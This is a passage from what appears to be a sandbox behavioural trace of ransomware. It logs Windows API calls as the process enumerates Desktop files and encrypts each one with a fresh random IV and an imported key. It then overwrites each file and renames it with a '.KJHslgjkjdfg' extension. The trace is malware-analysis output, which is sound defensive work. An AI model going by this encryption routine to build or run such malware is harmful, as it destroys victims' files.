hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0xfa00, dwBufLen=0xfa00 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0xfa00) returned 1 [0127.521] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.521] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xfa00, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0xfa00, lpOverlapped=0x0) returned 1 [0127.522] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.522] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xfae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.522] SetEndOfFile (hFile=0xc0) returned 1 [0127.526] GetProcessHeap () returned 0x2a0000 [0127.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0127.526] GetProcessHeap () returned 0x2a0000 [0127.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.526] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MtV3KshDPRFOAwx.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtv3kshdprfoawx.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MtV3KshDPRFOAwx.pdf.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtv3kshdprfoawx.pdf.kjhslgjkjdfg")) returned 1 [0127.530] CloseHandle (hObject=0xc0) returned 1 [0127.531] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x580308e0, ftCreationTime.dwHighDateTime=0x1d5df96, ftLastAccessTime.dwLowDateTime=0xadd9e380, ftLastAccessTime.dwHighDateTime=0x1d5dd14, ftLastWriteTime.dwLowDateTime=0xadd9e380, ftLastWriteTime.dwHighDateTime=0x1d5dd14, nFileSizeHigh=0x0, nFileSizeLow=0x7573, dwReserved0=0x0, dwReserved1=0xffff, cFileName="OGQs0CD.mp3", cAlternateFileName="")) returned 1 [0127.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OGQs0CD.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ogqs0cd.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.531] GetProcessHeap () returned 0x2a0000 [0127.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.531] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.531] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.531] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0xd, lpOverlapped=0x0) returned 1 [0127.532] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.532] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.532] GetProcessHeap () returned 0x2a0000 [0127.532] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.532] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40) returned 1 [0127.532] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.532] WriteFile (in: hFile=0xc0, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290fc90*=0x40, lpOverlapped=0x0) returned 1 [0127.533] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.533] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.533] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.533] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.533] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.533] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.533] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.533] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.533] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7573, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0x7573, lpOverlapped=0x0) returned 1 [0127.534] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x7580, dwBufLen=0x7580 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x7580) returned 1 [0127.534] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.534] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7580, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0x7580, lpOverlapped=0x0) returned 1 [0127.534] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.534] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x7654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.534] SetEndOfFile (hFile=0xc0) returned 1 [0127.539] GetProcessHeap () returned 0x2a0000 [0127.539] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.539] GetProcessHeap () returned 0x2a0000 [0127.539] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.539] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OGQs0CD.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ogqs0cd.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OGQs0CD.mp3.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ogqs0cd.mp3.kjhslgjkjdfg")) returned 1 [0127.543] CloseHandle (hObject=0xc0) returned 1 [0127.543] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a0db740, ftCreationTime.dwHighDateTime=0x1d5d932, ftLastAccessTime.dwLowDateTime=0x1db9d310, ftLastAccessTime.dwHighDateTime=0x1d5e4a2, ftLastWriteTime.dwLowDateTime=0x1db9d310, ftLastWriteTime.dwHighDateTime=0x1d5e4a2, nFileSizeHigh=0x0, nFileSizeLow=0x78d7, dwReserved0=0x0, dwReserved1=0xffff, cFileName="OvADw7HWDBoANv2RekIi.mkv", cAlternateFileName="OVADW7~1.MKV")) returned 1 [0127.543] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OvADw7HWDBoANv2RekIi.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ovadw7hwdboanv2rekii.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.543] GetProcessHeap () returned 0x2a0000 [0127.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.543] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.543] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.544] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0x9, lpOverlapped=0x0) returned 1 [0127.545] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.545] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.545] GetProcessHeap () returned 0x2a0000 [0127.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0127.545] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290fc78*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290fc78*=0x50) returned 1 [0127.545] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.545] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290fc90*=0x50, lpOverlapped=0x0) returned 1 [0127.545] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.545] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.545] WriteFile (in: hFile=0xc0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.545] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.546] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.546] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.546] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.546] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.546] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x78d7, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0x78d7, lpOverlapped=0x0) returned 1 [0127.546] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x78e0, dwBufLen=0x78e0 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x78e0) returned 1 [0127.547] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.547] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x78e0, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0x78e0, lpOverlapped=0x0) returned 1 [0127.547] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.547] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x79c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.547] SetEndOfFile (hFile=0xc0) returned 1 [0127.551] GetProcessHeap () returned 0x2a0000 [0127.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0127.551] GetProcessHeap () returned 0x2a0000 [0127.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.551] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OvADw7HWDBoANv2RekIi.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ovadw7hwdboanv2rekii.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OvADw7HWDBoANv2RekIi.mkv.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ovadw7hwdboanv2rekii.mkv.kjhslgjkjdfg")) returned 1 [0127.553] CloseHandle (hObject=0xc0) returned 1 [0127.553] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x108b6c50, ftCreationTime.dwHighDateTime=0x1d5dbf9, ftLastAccessTime.dwLowDateTime=0x1adb1c10, ftLastAccessTime.dwHighDateTime=0x1d5dbad, ftLastWriteTime.dwLowDateTime=0x1adb1c10, ftLastWriteTime.dwHighDateTime=0x1d5dbad, nFileSizeHigh=0x0, nFileSizeLow=0x17098, dwReserved0=0x0, dwReserved1=0xffff, cFileName="q5JPesstQKuaf49xCYaB.bmp", cAlternateFileName="Q5JPES~1.BMP")) returned 1 [0127.553] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\q5JPesstQKuaf49xCYaB.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\q5jpesstqkuaf49xcyab.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.553] GetProcessHeap () returned 0x2a0000 [0127.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.553] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.553] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.553] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.554] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.555] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.555] GetProcessHeap () returned 0x2a0000 [0127.555] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0127.555] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290fc78*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290fc78*=0x50) returned 1 [0127.555] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.555] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290fc90*=0x50, lpOverlapped=0x0) returned 1 [0127.555] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.555] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.555] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.555] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.555] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.555] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.556] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.556] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.556] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x17098, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0x17098, lpOverlapped=0x0) returned 1 [0127.556] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x170a0, dwBufLen=0x170a0 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x170a0) returned 1 [0127.569] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.569] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x170a0, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0x170a0, lpOverlapped=0x0) returned 1 [0127.570] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.570] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x17184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.570] SetEndOfFile (hFile=0xc0) returned 1 [0127.575] GetProcessHeap () returned 0x2a0000 [0127.575] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0127.575] GetProcessHeap () returned 0x2a0000 [0127.575] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.575] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\q5JPesstQKuaf49xCYaB.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\q5jpesstqkuaf49xcyab.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\q5JPesstQKuaf49xCYaB.bmp.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\q5jpesstqkuaf49xcyab.bmp.kjhslgjkjdfg")) returned 1 [0127.581] CloseHandle (hObject=0xc0) returned 1 [0127.581] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4486d160, ftCreationTime.dwHighDateTime=0x1d5de25, ftLastAccessTime.dwLowDateTime=0x38ff2d80, ftLastAccessTime.dwHighDateTime=0x1d5dc66, ftLastWriteTime.dwLowDateTime=0x38ff2d80, ftLastWriteTime.dwHighDateTime=0x1d5dc66, nFileSizeHigh=0x0, nFileSizeLow=0xfba5, dwReserved0=0x0, dwReserved1=0xffff, cFileName="RCCe1.mp3", cAlternateFileName="")) returned 1 [0127.582] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RCCe1.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rcce1.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.582] GetProcessHeap () returned 0x2a0000 [0127.582] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.582] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.582] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.582] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0xb, lpOverlapped=0x0) returned 1 [0127.583] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.583] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.583] GetProcessHeap () returned 0x2a0000 [0127.583] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0127.583] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290fc78*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290fc78*=0x30) returned 1 [0127.583] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.583] WriteFile (in: hFile=0xc0, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290fc90*=0x30, lpOverlapped=0x0) returned 1 [0127.583] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.584] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.584] WriteFile (in: hFile=0xc0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.584] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.584] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.584] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.584] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.584] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.584] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xfba5, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0xfba5, lpOverlapped=0x0) returned 1 [0127.585] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0xfbb0, dwBufLen=0xfbb0 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0xfbb0) returned 1 [0127.586] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.586] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xfbb0, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0xfbb0, lpOverlapped=0x0) returned 1 [0127.586] CryptDestroyKey 